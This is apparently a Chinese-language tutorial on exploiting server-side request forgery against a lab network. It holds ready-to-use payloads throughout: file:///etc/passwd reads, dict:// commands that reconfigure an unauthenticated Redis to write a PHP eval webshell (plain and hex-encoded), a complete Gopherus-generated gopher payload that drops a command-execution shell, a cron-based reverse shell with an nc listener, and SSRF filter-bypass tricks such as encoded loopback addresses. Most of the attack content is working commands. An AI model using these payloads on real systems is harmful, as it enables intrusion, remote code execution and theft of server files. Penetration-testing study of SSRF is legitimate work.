# ssrf

SSRF 漏洞的原理:

SSRF 漏洞的形成大多是因为服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址进行正确的过滤和限制。
例如,许多 web 应用提供了从指定 URL 获取网页文本内容、加载指定地址的图片、下载文件、读取文件内容等功能。
攻击者可以利用这些功能,篡改获取资源的请求发送给服务器,然后服务器以自己的身份来访问其他资源

主要攻击方式有

  • 探测内网信息,例如开放的端口指纹识别,扫描网段里的主机
  • 利用 file 协议读取服务器本地的敏感文件,还有一些其他伪协议
  • 攻击内网运行的服务比如 mysql,redis 服务器,如果对方 redis 服务器有未授权但是只允许本地登录执行,就可以利用 ssrf 进行攻击

SSRF 常用的伪协议

# 演示

例如碰见这样一个网站 url=http://www.baidu.com 去请求了其他网址,我们就可以测试是否可以请求本地输入 http://127.0.0.1

是可以访问到的

image-20240510105916010

# FILE 协议

file://:用于读取本地文件系统中的文件,可以用来获取敏感信息。

确认可以访问内网是我们可以用 file 协议读取本地的敏感文件,比如 linux 的 passwd 文件啊 file:///etc/passwd hosts 文件

image-20240510111005325

# dict 协议

端口扫描:攻击者可以尝试使用 Dict 协议来查询词典服务的状态信息,以探测目标主机上的开放端口。

利用 dict 探测内网端口服务信息也可以用来攻击例如 redis 未授权

image-20240510112048862

image-20240510112130931

当探测到内网 6379 端口开放时可以尝试是否存在未授权

image-20240510113058206

image-20240510113141090

# 利用 redis 未授权配合 dict 协议写 webshell

上面探测到内网的 109 主机是有 web 服务的我们就可以更改 redis 备份保存文件的路径和保存文件的名字在网站目录写入 webshell

dict://192.168.0.109:6379/config get dir #探测备份文件路径
dict://192.168.0.109:6379/config get dbfilename #探测文件名
dict://192.168.0.109:6379/config set dir /var/www/html #更改路径为网站目录
dict://192.168.0.109:6379/config set dbfilename webshell.php #更改保存后的文件名
#接着写入一句话
#注意传进去会被转义会报错,可以使用十六进制 ASCII 码表示
dict://192.168.0.109:6379/set she "\n\n\<?php @eval($_POST[\'shell\']); ?>\n\n"
dict://192.168.0.109:6379/set she
"\x5cn\x5cn\x5c\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x73\x68\x65\x6c\x6c\x27\x5d\x29\x3b\x20\x3f\x3e\x5cn\x5cn"
dict://192.168.0.109:6379/save #备份文件
接着蚁剑连接即可

image-20240510114350935

image-20240510114704339

image-20240510114843416

image-20240510125603305

image-20240510125817705

# 利用 redis 未授权配合 gopher 协议

在 Gopher 中,我们无法直接执行 Redis 命令,因为 Gopher 协议的目的是用来检索文档而不是与键值存储系统交互。但我们可以尝试模拟一个 SET 操作,将文本数据发送给目标服务器。

gopher 协议手写太麻烦了可以利用 Gopherus 工具直接生成

项目地址 https://github.com/tarunkant/Gopherus

_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

将_后面的值进行 url 解码,复制值

image-20240510144951715

发送请求抓包,把刚才解码的值写在后面并加入换行

image-20240510145508990

放行后就已经把 webshell 写入到网站目录下了

image-20240510145748955

# 计划任务反弹 shell

但是这个办法只能 centos 用 ubuntu 会乱码执行不了

选择 reverseshell

192.168.0.109 监听主机

/var/spool/cron/crontabs 目标主机计划任务目录也可能是 /var/spool/cron

image-20240510150423023

生成命令后跟上面一样发送就行

监听 nc -lvp 1234

# ssrf 的绕过技巧

# @绕过

image-20240510151933552

相当于请求的是 http://127.0.0.1:80

# 使用。来代替。号

image-20240510152303412

# 本地回环地址

http://127.255.255.254

http://localhost

http://[::1]

# 利用短链接

https://www.fly63.com/php/shorturl/ 免费转换

image-20240510154143548

image-20240510154101559

# IP 的进制转换

比如转换成 16 进制

http://0x7f.0x0.0x0.0x0.0x1